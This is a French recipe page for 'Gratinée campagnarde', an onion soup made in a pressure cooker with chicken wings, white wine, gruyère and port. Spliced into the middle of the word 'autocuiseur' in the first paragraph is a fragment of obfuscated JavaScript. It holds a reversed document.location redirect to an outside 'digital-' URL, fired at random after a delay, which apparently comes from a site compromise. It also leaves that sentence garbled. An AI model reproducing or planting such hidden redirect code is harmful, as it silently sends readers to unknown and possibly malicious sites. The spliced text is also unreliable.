Gratinée campagnarde
2021-05-07Pelez les oignons et les émincer. Dans l’autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tocuiseur faites revenir les oignons dans le beurre, ajoutez le sucre et laissez cuire 10 minutes à feu doux, jusqu’à la coloration légèrement brune des oignons.
Ingrédients
Pelez les oignons et les émincer. Dans l’autocuiseur faites revenir les oignons dans le beurre, ajoutez le sucre et laissez cuire 10 minutes à feu doux, jusqu’à la coloration légèrement brune des oignons. Ajoutez la farine tout en remuant faites cuire pendant 5 minutes. Mouillez avec le vin blanc, 1,5 litre d’eau.
Portez à ébullition ajoutez les ailerons de poulet, le genièvre, le clou de girofle, le bouquet garni, 1 pincée de noix de muscade, 1 cuillère à café de sel fin, et ½ cuillère à café de poivre.
Portez à ébullition tout en remuant. Fermez la cocotte, et laissez cuire pendant 20 minutes. Répartissez les ailerons de poulet dans 4 assiettes creuses en porcelaine, recouvrez de soupe à l’oignon. Déposez les rondelles de pain.
Parsemez de gruyère râpé et mettez dans le four en position gril, faites gratiner. Juste avant de servir. Mélangez le l'œuf entier avec 1 cuillère à soupe de porto, liez la gratinée. Avant de déguster, parsemez 20 g de gruyère râpé
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
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